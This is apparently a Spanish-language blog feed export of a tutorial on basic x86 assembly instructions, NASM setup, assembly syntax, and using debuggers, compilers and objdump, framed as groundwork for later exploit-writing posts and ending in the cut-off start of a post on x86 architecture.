<p>Sabemos que <code class="language-plaintext highlighter-rouge">PUSH</code> almacena datos en la parte superior del stack, ajustando el stack en <code class="language-plaintext highlighter-rouge">-4-bytes</code> (<code class="language-plaintext highlighter-rouge">-32 bits</code> o <code class="language-plaintext highlighter-rouge">-0x04</code>). Esto se puede representar de la siguiente forma en assembly (el siguiente ejemplo es lo mismo que usar la instrucción <code class="language-plaintext highlighter-rouge">PUSH</code>):</p>
<pre><code class="language-assembly">SUB ESP,4 ; ESP = ESP-4
MOV [ESP],0x12345678 ; almacene el valor 0x12345678 en la ubicación apuntada por ESP
;Los corchetes indican la dirección señalada por el registro.
</code></pre>
<p>Ahora si queremos hacer la instrucción inversa (<code class="language-plaintext highlighter-rouge">POP</code>), puede ser representada de la siguiente forma:</p>
<pre><code class="language-assembly">MOV EAX,[ESP] ; almance el valor del puntero ESP en EAX
ADD ESP,4 ; agrega 4 a ESP, lo cual, ajusta el valor
; de la parte superior del stack
</code></pre>
<p>Otras instrucciones que nos serán útiles de entender son <code class="language-plaintext highlighter-rouge">CALL</code> y <code class="language-plaintext highlighter-rouge">RET</code>.</p>
<p>Las subrutinas son implementadas usando las instrucciones <code class="language-plaintext highlighter-rouge">CALL</code> y <code class="language-plaintext highlighter-rouge">RET</code>. <code class="language-plaintext highlighter-rouge">CALL</code> empuja el puntero de instrucción actual (EIP) al stack y salta a la dirección de la función especificada. Mientras que, cada vez que la función ejecuta la instrucción <code class="language-plaintext highlighter-rouge">RET</code>, el último elemento se saca del stack y la CPU salta a la dirección.</p>
<p>Ejemplo de <code class="language-plaintext highlighter-rouge">CALL</code>:</p>
<pre><code class="language-assembly">MOV EAX,1 ; almacena 1 en EAX
MOV EBX,2 ; almacena 2 en EBX
CALL ADD_sub ; llama la subrutina ADD_sub
INC EAX ; incrementa el valor de EAX, quedando en 4
; esto se debe a que al llamar a ADD_sub, se hizo la suma
; EBX+EAX, quedando EAX en 3, y ahora con INC
; se incrementa en 1
JMP end_sample ; salta hasta end_sample
ADD_sub:
ADD EAX,EBX ; EAX = EAX + EBX
RETN ; en este punto termina la función, por lo tanto, retorna
; a la función que lo llamo
end_sample:
</code></pre>
<p>Instrucciones de assembly que nos serán útiles (estas instrucciones son parte del <a href="https://github.com/s1kr10s/Curso_Exploiting_Basico">curso de Exploiting Básico</a>):</p>
<ul>
<li>Acceso a la memoria <code class="language-plaintext highlighter-rouge">[]</code>:
<ul>
<li><code class="language-plaintext highlighter-rouge">mov edi,[ecx]</code> accesos a memoria por registro</li>
<li><code class="language-plaintext highlighter-rouge">mov edi,[ecx+eax]</code> accesos a memoria por desplazamiento</li>
<li><code class="language-plaintext highlighter-rouge">mov edi,[ecx+esi+10h]</code> accesos a memoria por índice y desplazamiento</li>
</ul>
</li>
<li>Movimientos de datos <code class="language-plaintext highlighter-rouge">MOV</code>:
<ul>
<li><code class="language-plaintext highlighter-rouge">mov eax,16h</code> valor inmediato a registro</li>
<li><code class="language-plaintext highlighter-rouge">mov eax,edx</code> registro a registro</li>
<li><code class="language-plaintext highlighter-rouge">mov [04030201h],40h</code> inmediato a memoria</li>
<li><code class="language-plaintext highlighter-rouge">mov [04030201h],edx</code> registro a memoria y memoria a registro</li>
<li><code class="language-plaintext highlighter-rouge">movsx eax,ebx</code> mueve el valor firmado a un registro y lo extiende con 1</li>
<li><code class="language-plaintext highlighter-rouge">movzx eax,ebx</code> mueve un valor sin signo a un registro y lo extiende a cero</li>
</ul>
</li>
<li>Instrucciones matemáticas:
<ul>
<li><code class="language-plaintext highlighter-rouge">dec eax</code> resta 1 al valor de <code class="language-plaintext highlighter-rouge">eax</code></li>
<li><code class="language-plaintext highlighter-rouge">inc eax</code> suma 1 al valor de <code class="language-plaintext highlighter-rouge">eax</code></li>
<li><code class="language-plaintext highlighter-rouge">inc dword ptr[04030201h]</code> incrementa el contenido de posición de memoria</li>
<li><code class="language-plaintext highlighter-rouge">inc word ptr[04030201h]</code> incrementa los últimos 2 bytes</li>
<li><code class="language-plaintext highlighter-rouge">inc byte ptr[04030201h]</code> incrementa el último byte</li>
<li><code class="language-plaintext highlighter-rouge">add eax,ecx</code> suma operandos y guarda el resultado en el primero</li>
<li><code class="language-plaintext highlighter-rouge">adc ebx,5</code> se suman ambos operandos y se suma el valor de Carry F</li>
<li><code class="language-plaintext highlighter-rouge">sub esi,3</code> resta el segundo operando al primero</li>
<li><code class="language-plaintext highlighter-rouge">sbb esi,2</code> se restan ambos operandos y se resta el valor de Carry F</li>
</ul>
</li>
<li>Movimiento de datos <code class="language-plaintext highlighter-rouge">LEA</code>:
<ul>
<li><code class="language-plaintext highlighter-rouge">lea ecx,[ebp + 10h]</code> deja en ecx, el valor de tenga ebp + 10h</li>
<li><code class="language-plaintext highlighter-rouge">lea ebx,[edx * 8h]</code> deja en ebx, el valor que tenga edx * 8h</li>
<li><code class="language-plaintext highlighter-rouge">lea esi,[eax + ebx + 20h]</code> deja en esi, la suma eax+ebx+20h</li>
<li><code class="language-plaintext highlighter-rouge">lea ecx,[0x04030201 + 2h]</code> deja en ecx, el valor de 0x04030204</li>
</ul>
</li>
<li>Movimiento de datos por tipo:
<ul>
<li><code class="language-plaintext highlighter-rouge">mov al,byte ptr[edx]</code> mueve a al un byte al = 20h de 0x04020120</li>
<li><code class="language-plaintext highlighter-rouge">mov ax,word ptr[edx]</code> mueve a al un byte ax = 0120h de 0x04020120</li>
<li><code class="language-plaintext highlighter-rouge">mov eax,dword ptr[edx]</code> mueve a al un byte eax = 0x04020120</li>
</ul>
</li>
<li>Obteniendo datos del stack:
<ul>
<li><code class="language-plaintext highlighter-rouge">push eax</code> envía el registro al stack</li>
<li><code class="language-plaintext highlighter-rouge">pop edx</code> registro edx toma el valor de eax desde el stack</li>
<li><code class="language-plaintext highlighter-rouge">pushad</code> guarda el contenido de los registros y lo ordena en stack</li>
<li><code class="language-plaintext highlighter-rouge">popad</code> toma los valores del stack y los envía a los registros</li>
</ul>
</li>
</ul>
<h2 id="intel-vs-att">Intel vs AT&T</h2>
<p>Al momento de trabajar con assembly, es necesario saber que existen dos arquitecturas de su sintaxis: Intel y AT&T.</p>
<p>Se pueden diferenciar porque Intel es la sintaxis por defecto de los entornos Windows. Mientras que AT&T es la sintaxis por defecto para entornos Linux:</p>
<ul>
<li>Sintaxis Intel: <code class="language-plaintext highlighter-rouge"><instrucción><destino><origen></code> (ejemplo: <code class="language-plaintext highlighter-rouge">MOV EAX,8</code>)</li>
<li>Sintaxis AT&T: <code class="language-plaintext highlighter-rouge"><instrucción><origen><destino></code> (ejemplo: <code class="language-plaintext highlighter-rouge">MOVL $8,%EAX</code>)</li>
</ul>
<p>Como se ve en el ejemplo anterior, en AT&T se utiliza el símbolo <code class="language-plaintext highlighter-rouge">%</code> antes del nombre de un registro, mientras que se usa el símbolo <code class="language-plaintext highlighter-rouge">$</code> antes de un número.</p>
<p>Otra consideración al momento de usar AT&T, es que se le agrega una letra a la instrucción dependiendo del tamaño del operando:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">Q</code> (Quad) para 64-bits</li>
<li><code class="language-plaintext highlighter-rouge">L</code> (Long) para 32-bits</li>
<li><code class="language-plaintext highlighter-rouge">W</code> (Word) para 16-bits</li>
<li><code class="language-plaintext highlighter-rouge">B</code> (Byte) para 8-bits</li>
</ul>
<h2 id="debugger">Debugger</h2>
<p>Los debugger son programas que corren otros programas, con la finalidad de poder tomar control sobre ellos y poder testearlos o encontrar fallos en estos.</p>
<p>En este caso, se utilizarán con la finalidad de ayudar en la escritura de exploits, analizar el programa, realizar ingeniería inversa a los binarios, entre otros.</p>
<p>Por lo tanto, este nos permitirá:</p>
<ul>
<li>Detener el programa mientras se está ejecutando</li>
<li>Analizar el stack y sus datos</li>
<li>Inspeccionar los registros</li>
<li>Cambiar el programa o variables de este</li>
</ul>
<p>Los debugger que podemos mencionar son:</p>
<ul>
<li><a href="https://www.immunityinc.com/products/debugger/">Immunity Debugger</a> (Windows)</li>
<li><a href="https://www.hex-rays.com/products/ida/">IDA</a> (Windows, Linux y macOS)</li>
<li><a href="https://www.gnu.org/software/gdb/">GDB</a> (Unix, Windows)</li>
<li><a href="https://x64dbg.com/#start">x64DBG</a> (Windows)</li>
<li><a href="https://codef00.com/projects#debugger">EDB</a> (Linux)</li>
<li><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk">WinDBG</a> (Windows)</li>
<li><a href="http://www.ollydbg.de/">OllyDBG</a> (Windows)</li>
<li><a href="https://www.hopperapp.com/">Hopper</a> (macOS y Linux)</li>
</ul>
<h3 id="immunity-debugger">Immunity Debugger</h3>
<p>A continuación, se presenta la GUI de este debugger, el cual, se encuentra dividido en 4 paneles:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/immunity-debugger-3.png" alt="11" /></p>
<ol>
<li><strong>Control de ejecución:</strong> permite reiniciar, cerrar, iniciar, pausar, ver cada instrucción, saltar entre instrucciones, volver a las instrucciones anteriores, ejecutar hasta un return, y permite que el disassembler sea navegado a una dirección de memoria en particular.</li>
<li><strong>Panel de disassembler</strong>
<ul>
<li><strong>Columna 1:</strong> direcciones</li>
<li><strong>Columna 2:</strong> código máquina</li>
<li><strong>Columna 3:</strong> assembly</li>
<li><strong>Columna 4:</strong> comentarios del debugger</li>
</ul>
</li>
<li><strong>Panel de registros</strong>
<ul>
<li>Nombres de los registros</li>
<li>El contenido de estos</li>
<li>En caso de que estos apunten a una cadena ASCII, se mostrará dicho valor</li>
</ul>
</li>
<li><strong>Dump de la memoria:</strong> muestra el contenido del espacio de memoria del proceso como el dump de un binario. Es útil para examinar regiones de memoria.</li>
<li><strong>Stack</strong>
<ul>
<li><strong>Columna 1:</strong> corresponde a la dirección</li>
<li><strong>Columna 2:</strong> es el valor en el stack en esa dirección</li>
<li><strong>Columna 3:</strong> es una explicación del contenido (una dirección, un UNICODE, etc.)</li>
<li><strong>Columna 4:</strong> comentarios del debugger</li>
</ul>
</li>
<li><strong>Input de comandos:</strong> permite ejecutar plugins.</li>
<li><strong>Estado:</strong> muestra los mensajes de estado.</li>
<li><strong>Estado del proceso:</strong> muestra si el proceso se encuentra corriendo o si está pausado.</li>
</ol>
<h3 id="ejemplo-del-uso-del-debugger-para-analizar-un-programa">Ejemplo del uso del debugger para analizar un programa</h3>
<p>Al momento de usar Immunity Debugger, tenemos 3 formas de cargar programas en este:</p>
<ul>
<li>La primera es arrastrando el programa sobre el debugger</li>
<li>La segunda opción es cargarla desde la interfaz del debugger</li>
<li>La tercera forma es adjuntando el proceso del programa</li>
</ul>
<p>Para utilizar la segunda opción, debemos ir al <code class="language-plaintext highlighter-rouge">icono de directorio</code> y luego seleccionar el programa a ejecutar:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/load-program.png" alt="12" /></p>
<p>Para adjuntar el proceso del programa, se debe ir a <code class="language-plaintext highlighter-rouge">File > Attach</code>:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/attach-program.png" alt="13" /></p>
<p>Esto nos abrirá una ventana con los procesos corriendo en el sistema, donde, el programa que necesitemos ver en el debugger debe ser seleccionado y luego dar clic en <code class="language-plaintext highlighter-rouge">Attach</code>:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/attach-2-program.png" alt="14" /></p>
<p>Para controlar el flujo del programa dentro del debugger, tenemos el panel de control de ejecución:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/execution-control.png" alt="15" /></p>
<p>De este panel, por lo general se usan las primeras 6 instrucciones (de izquierda a derecha):</p>
<ul>
<li><strong>Restart:</strong> reinicia el programa.</li>
<li><strong>Close:</strong> cierra el programa.</li>
<li><strong>Run:</strong> inicia el programa.</li>
<li><strong>Pause:</strong> pausa el programa.</li>
<li><strong>Step into:</strong> recorre las instrucciones del programa, donde, si hay un <code class="language-plaintext highlighter-rouge">CALL</code> o un <code class="language-plaintext highlighter-rouge">RETN</code>, este va a dichas direcciones de memoria.</li>
<li><strong>Step over:</strong> similar a <code class="language-plaintext highlighter-rouge">Step into</code>, pero en vez de ir a las direcciones de memoria de las instrucciones <code class="language-plaintext highlighter-rouge">CALL</code> y <code class="language-plaintext highlighter-rouge">RETN</code>, sigue de forma lineal las instrucciones del programa.</li>
</ul>
<p>Las ventajas que nos entrega un debugger, es que podemos definir <code class="language-plaintext highlighter-rouge">breakpoints</code>; los que son usados para detener el programa en una dirección de memoria específica para realizar un análisis del comportamiento de este. Para configurar o eliminar un <code class="language-plaintext highlighter-rouge">breakpoint</code>, se debe seleccionar la dirección de memoria y presionar la tecla <code class="language-plaintext highlighter-rouge">F2</code>; esto dejará en color <code class="language-plaintext highlighter-rouge">Cian</code> dicha dirección:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/breakpoint.png" alt="16" /></p>
<h2 id="compilador">Compilador</h2>
<p>Varios lenguajes de programación de alto nivel (como es el caso de <code class="language-plaintext highlighter-rouge">C</code> y <code class="language-plaintext highlighter-rouge">C++</code>) necesitan ser compilados para poder crear un archivo de bajo nivel, y poder ser ejecutados.</p>
<p>Al igual que los debugger, existen múltiples opciones al momento de elegir un compilador:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/download/details.aspx?id=48145"><code class="language-plaintext highlighter-rouge">Microsoft Visual C/C++</code></a>, también conocido como Visual Studio</li>
<li><a href="http://orwelldevcpp.blogspot.com/"><code class="language-plaintext highlighter-rouge">Orwell Dev-C++</code></a></li>
<li><a href="http://www.codeblocks.org/"><code class="language-plaintext highlighter-rouge">Code::Blocks</code></a></li>
<li><a href="https://gcc.gnu.org/"><code class="language-plaintext highlighter-rouge">GCC</code></a></li>
</ul>
<p>Ejemplo de uso de <code class="language-plaintext highlighter-rouge">GCC</code>:</p>
<ul>
<li>Código a compilar:</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Hola mundo"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>Compilación:</li>
</ul>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/gcc.png" alt="17" /></p>
<p>Opciones usadas:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">-m32</code> específica que es un entorno de 32-bits</li>
<li><code class="language-plaintext highlighter-rouge">-o</code> define el nombre del archivo de salida</li>
</ul>
<h2 id="decompilador">Decompilador</h2>
<p>Los decompiladores son herramientas que nos permiten ver cómo funcionan los programas, con los cuales, podemos obtener el disassembler.</p>
<p>Para realizar esta tarea, utilizaremos el software <code class="language-plaintext highlighter-rouge">objdump</code>. Este se encuentra en la carpeta <code class="language-plaintext highlighter-rouge">C:\Archivos de programa\Dev-Cpp\MinGW64\bin</code> de <code class="language-plaintext highlighter-rouge">Dev-C++</code>.</p>
<p>Para obtener el disassembler del programa <code class="language-plaintext highlighter-rouge">holamundo.exe</code>, se utilizará el siguiente comando: <code class="language-plaintext highlighter-rouge">objdump -d -Mintel holamundo.exe > holamundo.txt</code>:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">-d</code> indica que vamos a realizar un disassembler del archivo <code class="language-plaintext highlighter-rouge">holamundo.exe</code></li>
<li><code class="language-plaintext highlighter-rouge">-Mintel</code> define que el output del disassembler sea en sintaxis Intel</li>
<li><code class="language-plaintext highlighter-rouge">></code> nos permite reenviar la salida del comando al archivo <code class="language-plaintext highlighter-rouge">holamundo.txt</code></li>
</ul>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/objdump.png" alt="18" /></p>
<p>Si vemos el archivo <code class="language-plaintext highlighter-rouge">holamundo.txt</code>, podemos observar que posee las instrucciones de assembly:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/disassembler-1.png" alt="19" /></p>
<p>Disassembly del archivo <code class="language-plaintext highlighter-rouge">holamundo.exe</code>:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/disassembler-2.png" alt="20" /></p>W0lf_F4ngms@w0lff4ng.orgEn este post se presentan los conceptos básicos del lenguaje de programación Assembly, y la utilización de un Debugger (y otras herramientas) para analizar el funcionamiento de los programas sobre el stack. También, es la continuación del post Conceptos básicos de arquitectura de procesadores x86. Assembly Assembly es un lenguaje de programación de muy bajo nivel, el cual, consiste en un código mnemotécnico, también conocido como opcode (operation code). Al igual que muchos lenguajes de programación, este debe ser convertido en código de máquina para ser ejecutado. Para poder lograr esto se usa assembler. Assembler Este es un programa que traduce el lenguaje Assembly a código máquina. Existen varios tipos de assembler y este dependerá del ISA del sistema, como por ejemplo: MASM (Microsoft Macro Assembler): usado en arquitectura x86, el que utiliza sintaxis Intel para MS-DOS y Microsoft Windows. GAS (GNU Assembler): usado en el proyecto GNU, y es el back-end por defecto de GCC. NASM (Netwide Assembler): usado en arquitectura x86 para escribir programas de 16, 32 (IA-32) y 64 bits (x86-64). FASM (Flat Assembler): usado en arquitectura x86, y soporta el lenguaje assembly en estilo Intel en IA-32 y x86-64. NOTA: dentro de los más populares se encuentra NASM y MASM. En este post se mostrará el uso básico de NASM. Cuando el archivo de código es ensamblado, el archivo que se crea es llamado archivo objeto (object file). Este es la representación binaria de un programa. Ahora que tenemos el archivo object, se debe utilizar un linker para poder generar un archivo ejecutable. Para lograr esto, el linker utiliza uno o más archivos object (como kernel32.dll o user32.dll) para combinarlos y crear el ejecutable. NOTA: los archivos kerne32.dll y user32.dll son requeridos en Windows para crear un ejecutable que necesita acceder a ciertas librerías. El proceso para crear el archivo ejecutable es el siguiente: NASM Instalación Para este caso, se instalará NASM-X en Windows. El proyecto NASM-X es una colección de macros, includes y ejemplos que ayudan a desarrollar en NASM software de 32 y 64-bits para BSD, Linux, Windows y XBOX en una fracción inferior al tiempo normal. Al momento de descargar NASM-X, extraemos el contenido y lo guardamos en el directorio C:\nasmx (para este ejemplo y los próximos, trabajaré con un Windows XP, pero puede ser replicado en versiones más actuales): Luego, agregamos la ruta de los binarios de NASM-X a las variables de entorno: Después de configurar las variables de entorno, validamos que quedó bien instalado. Para esto, abrimos un nuevo terminal, vamos a la carpeta de NASM-X, y corremos el archivo setpaths.bat, el cual, nos mostrará el mensaje "NASMX Development Toolkit" en caso de que lo anterior se encuentre bien configurado: Ahora, para poder trabajar con las demos que este trae, debemos editar un componente del archivo windemos.inc que se encuentra en C:\nasmx\demos. En este debemos comentar la linea %include 'nasmx.inc' usando el símbolo ;, y agregar la linea %include 'C:\nasmx\inc\nasmx.inc': Si queremos comprobar que todo se encuentra bien configurado, se puede ensamblar el siguiente demo: Ir a C:\nasmx\demos\win32\DEMO1 Ensamblamos el archivo demo1.asm, el cual, abre una ventana con un mensaje. Para lograr esto, usamos el comando nasm -f win32 demo1.asm -o demo1.obj para obtener el archivo object: -f especifica el formato del archivo, donde, en Windows puede ser obj, win32 y win64. En Unix se usan los siguientes formatos: aout, as86, coff, elf32, elf64, elfx32, ieee, macho32 y macho64 Esto es seguido del nombre del archivo -o indica el nombre del archivo de salida Ahora que tenemos el archivo object, debemos utilizar el linker para poder generar el archivo ejecutable. El comando para esto es GoLink.exe /entry _main demo1.obj kernel32.dll user32.dll /entry _main especifica que el programa iniciará en la etiqueta de código main: kernel32.dll permite realizar una salida del proceso (ExitProcess) user32.dll permite mostrar una ventana emergente con un mensaje (MessageBox) Si ejecutamos demo1.exe veremos que aparace una ventana con el mensaje Hello from the Procedure!: ASM Básico En esta sección no se enseñará a escribir programas en assembly, sólo se mostrarán instrucciones básicas para poder entender el funcionamiento de los programas al momento de verlos en un Debugger. Dentro de las instrucciones que hablaremos se encuentran las siguientes, las que se dividen en clases: Transferencia de datos: MOV mueve (copia) los datos de una sección de memoria a otra MOVSX mueve con extensión de signo MOVZX mueve con extensión de cero XCHG intercambia datos PUSH agregar datos al stack PUSHAD agrega todos los registros de 32 bits en el stack POP sacar datos al stack POPAD saca todos los registros de 32 bits en el stack Aritméticos: ADD permite realizar sumas SUB corresponde a la resta MUL realiza multiplicación sin signo XOR operador lógico XOR NOT operador lógico NOT DEC resta 1 INC incrementa 1 Control del flujo: CALL llamada a un procedimiento RET retorno desde un procedimiento LOOP control de loops Jcc realiza un salto en caso de una condición Otros: STI configura un flag de interrupción CLI elimina el flag de interrupción IN entrada desde un puerto OUT salida desde un puerto Ejemplo de la suma de dos números: MOV EAX,2 ; almacena 2 en EAX MOV EBX,5 ; almacena 5 en EBX ADD EAX,EBX ; equivale a la siguiente operación: EAX = EAX + EBX Sabemos que PUSH almacena datos en la parte superior del stack, ajustando el stack en -4-bytes (-32 bits o -0x04). Esto se puede representar de la siguiente forma en assembly (el siguiente ejemplo es lo mismo que usar la instrucción PUSH): SUB ESP,4 ; ESP = ESP-4 MOV [ESP],0x12345678 ; almacene el valor 0x12345678 en la ubicación apuntada por ESP ;Los corchetes indican la dirección señalada por el registro. Ahora si queremos hacer la instrucción inversa (POP), puede ser representada de la siguiente forma: MOV EAX,[ESP] ; almance el valor del puntero ESP en EAX ADD ESP,4 ; agrega 4 a ESP, lo cual, ajusta el valor ; de la parte superior del stack Otras instrucciones que nos serán útiles de entender son CALL y RET. Las subrutinas son implementadas usando las instrucciones CALL y RET. CALL empuja el puntero de instrucción actual (EIP) al stack y salta a la dirección de la función especificada. Mientras que, cada vez que la función ejecuta la instrucción RET, el último elemento se saca del stack y la CPU salta a la dirección. Ejemplo de CALL: MOV EAX,1 ; almacena 1 en EAX MOV EBX,2 ; almacena 2 en EBX CALL ADD_sub ; llama la subrutina ADD_sub INC EAX ; incrementa el valor de EAX, quedando en 4 ; esto se debe a que al llamar a ADD_sub, se hizo la suma ; EBX+EAX, quedando EAX en 3, y ahora con INC ; se incrementa en 1 JMP end_sample ; salta hasta end_sample ADD_sub: ADD EAX,EBX ; EAX = EAX + EBX RETN ; en este punto termina la función, por lo tanto, retorna ; a la función que lo llamo end_sample: Instrucciones de assembly que nos serán útiles (estas instrucciones son parte del curso de Exploiting Básico): Acceso a la memoria []: mov edi,[ecx] accesos a memoria por registro mov edi,[ecx+eax] accesos a memoria por desplazamiento mov edi,[ecx+esi+10h] accesos a memoria por índice y desplazamiento Movimientos de datos MOV: mov eax,16h valor inmediato a registro mov eax,edx registro a registro mov [04030201h],40h inmediato a memoria mov [04030201h],edx registro a memoria y memoria a registro movsx eax,ebx mueve el valor firmado a un registro y lo extiende con 1 movzx eax,ebx mueve un valor sin signo a un registro y lo extiende a cero Instrucciones matemáticas: dec eax resta 1 al valor de eax inc eax suma 1 al valor de eax inc dword ptr[04030201h] incrementa el contenido de posición de memoria inc word ptr[04030201h] incrementa los últimos 2 bytes inc byte ptr[04030201h] incrementa el último byte add eax,ecx suma operandos y guarda el resultado en el primero adc ebx,5 se suman ambos operandos y se suma el valor de Carry F sub esi,3 resta el segundo operando al primero sbb esi,2 se restan ambos operandos y se resta el valor de Carry F Movimiento de datos LEA: lea ecx,[ebp + 10h] deja en ecx, el valor de tenga ebp + 10h lea ebx,[edx * 8h] deja en ebx, el valor que tenga edx * 8h lea esi,[eax + ebx + 20h] deja en esi, la suma eax+ebx+20h lea ecx,[0x04030201 + 2h] deja en ecx, el valor de 0x04030204 Movimiento de datos por tipo: mov al,byte ptr[edx] mueve a al un byte al = 20h de 0x04020120 mov ax,word ptr[edx] mueve a al un byte ax = 0120h de 0x04020120 mov eax,dword ptr[edx] mueve a al un byte eax = 0x04020120 Obteniendo datos del stack: push eax envía el registro al stack pop edx registro edx toma el valor de eax desde el stack pushad guarda el contenido de los registros y lo ordena en stack popad toma los valores del stack y los envía a los registros Intel vs AT&T Al momento de trabajar con assembly, es necesario saber que existen dos arquitecturas de su sintaxis: Intel y AT&T. Se pueden diferenciar porque Intel es la sintaxis por defecto de los entornos Windows. Mientras que AT&T es la sintaxis por defecto para entornos Linux: Sintaxis Intel: <instrucción><destino><origen> (ejemplo: MOV EAX,8) Sintaxis AT&T: <instrucción><origen><destino> (ejemplo: MOVL $8,%EAX) Como se ve en el ejemplo anterior, en AT&T se utiliza el símbolo % antes del nombre de un registro, mientras que se usa el símbolo $ antes de un número. Otra consideración al momento de usar AT&T, es que se le agrega una letra a la instrucción dependiendo del tamaño del operando: Q (Quad) para 64-bits L (Long) para 32-bits W (Word) para 16-bits B (Byte) para 8-bits Debugger Los debugger son programas que corren otros programas, con la finalidad de poder tomar control sobre ellos y poder testearlos o encontrar fallos en estos. En este caso, se utilizarán con la finalidad de ayudar en la escritura de exploits, analizar el programa, realizar ingeniería inversa a los binarios, entre otros. Por lo tanto, este nos permitirá: Detener el programa mientras se está ejecutando Analizar el stack y sus datos Inspeccionar los registros Cambiar el programa o variables de este Los debugger que podemos mencionar son: Immunity Debugger (Windows) IDA (Windows, Linux y macOS) GDB (Unix, Windows) x64DBG (Windows) EDB (Linux) WinDBG (Windows) OllyDBG (Windows) Hopper (macOS y Linux) Immunity Debugger A continuación, se presenta la GUI de este debugger, el cual, se encuentra dividido en 4 paneles: Control de ejecución: permite reiniciar, cerrar, iniciar, pausar, ver cada instrucción, saltar entre instrucciones, volver a las instrucciones anteriores, ejecutar hasta un return, y permite que el disassembler sea navegado a una dirección de memoria en particular. Panel de disassembler Columna 1: direcciones Columna 2: código máquina Columna 3: assembly Columna 4: comentarios del debugger Panel de registros Nombres de los registros El contenido de estos En caso de que estos apunten a una cadena ASCII, se mostrará dicho valor Dump de la memoria: muestra el contenido del espacio de memoria del proceso como el dump de un binario. Es útil para examinar regiones de memoria. Stack Columna 1: corresponde a la dirección Columna 2: es el valor en el stack en esa dirección Columna 3: es una explicación del contenido (una dirección, un UNICODE, etc.) Columna 4: comentarios del debugger Input de comandos: permite ejecutar plugins. Estado: muestra los mensajes de estado. Estado del proceso: muestra si el proceso se encuentra corriendo o si está pausado. Ejemplo del uso del debugger para analizar un programa Al momento de usar Immunity Debugger, tenemos 3 formas de cargar programas en este: La primera es arrastrando el programa sobre el debugger La segunda opción es cargarla desde la interfaz del debugger La tercera forma es adjuntando el proceso del programa Para utilizar la segunda opción, debemos ir al icono de directorio y luego seleccionar el programa a ejecutar: Para adjuntar el proceso del programa, se debe ir a File > Attach: Esto nos abrirá una ventana con los procesos corriendo en el sistema, donde, el programa que necesitemos ver en el debugger debe ser seleccionado y luego dar clic en Attach: Para controlar el flujo del programa dentro del debugger, tenemos el panel de control de ejecución: De este panel, por lo general se usan las primeras 6 instrucciones (de izquierda a derecha): Restart: reinicia el programa. Close: cierra el programa. Run: inicia el programa. Pause: pausa el programa. Step into: recorre las instrucciones del programa, donde, si hay un CALL o un RETN, este va a dichas direcciones de memoria. Step over: similar a Step into, pero en vez de ir a las direcciones de memoria de las instrucciones CALL y RETN, sigue de forma lineal las instrucciones del programa. Las ventajas que nos entrega un debugger, es que podemos definir breakpoints; los que son usados para detener el programa en una dirección de memoria específica para realizar un análisis del comportamiento de este. Para configurar o eliminar un breakpoint, se debe seleccionar la dirección de memoria y presionar la tecla F2; esto dejará en color Cian dicha dirección: Compilador Varios lenguajes de programación de alto nivel (como es el caso de C y C++) necesitan ser compilados para poder crear un archivo de bajo nivel, y poder ser ejecutados. Al igual que los debugger, existen múltiples opciones al momento de elegir un compilador: Microsoft Visual C/C++, también conocido como Visual Studio Orwell Dev-C++ Code::Blocks GCC Ejemplo de uso de GCC: Código a compilar: #include <stdio.h> int main() { printf("Hola mundo"); return 0; } Compilación: Opciones usadas: -m32 específica que es un entorno de 32-bits -o define el nombre del archivo de salida Decompilador Los decompiladores son herramientas que nos permiten ver cómo funcionan los programas, con los cuales, podemos obtener el disassembler. Para realizar esta tarea, utilizaremos el software objdump. Este se encuentra en la carpeta C:\Archivos de programa\Dev-Cpp\MinGW64\bin de Dev-C++. Para obtener el disassembler del programa holamundo.exe, se utilizará el siguiente comando: objdump -d -Mintel holamundo.exe > holamundo.txt: -d indica que vamos a realizar un disassembler del archivo holamundo.exe -Mintel define que el output del disassembler sea en sintaxis Intel > nos permite reenviar la salida del comando al archivo holamundo.txt Si vemos el archivo holamundo.txt, podemos observar que posee las instrucciones de assembly: Disassembly del archivo holamundo.exe:Conceptos básicos de arquitectura de procesadores x862020-07-07T11:58:47-04:002020-07-07T11:58:47-04:00http://www.w0lff4ng.org/arquitectura-de-microprocesadores<p><img src="/assets/img/arquitectura-de-microprocesadores/arq.jpeg" alt="arq" /></p>
<p>Este post está creado para poder tener una base del funcionamiento de los procesadores de arquitectura x86, para poder llevar a cabo ataques de <strong>Buffer Overflow</strong>.</p>
<h1 id="conceptos-básicos-de-la-organización-del-sistema">Conceptos básicos de la Organización del Sistema</h1>
<p>Dentro de la organización del sistema, podemos encontrar lo siguiente:</p>
<ul>
<li><strong>CPU:</strong> Unidad de Proceso Central.</li>
<li><strong>Memoria:</strong> bloque de memoria donde los programas, datos, etc. son almacenados.</li>
<li><strong>Dispositivos I/O:</strong> dispositivos de entrada y salida, como monitores, tajera de red, entre otros.</li>
</ul>
<p>Todos estos se encuentran conectados mediante un Bus del Sistema:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/system.png" alt="01" /></p>
<h1 id="cpu-central-process-unit">CPU (Central Process Unit)</h1>
<p>La CPU es el dispositivo encargado de ejecutar el código máquina (o lenguaje máquina) de un programa, el cual, corresponde a un grupo de instrucciones.</p>
<p>Estas instrucciones son presentadas en binario al procesador (a nosotros se nos presentan en hexadecimal), pero como la mayoría no entiende esto, es necesario traducirlos en un lenguaje mnemotécnico, como es el caso del lenguaje <strong>Assembly</strong> (<strong>ASM</strong>).</p>
<p>Los assembler más populares son:</p>
<ul>
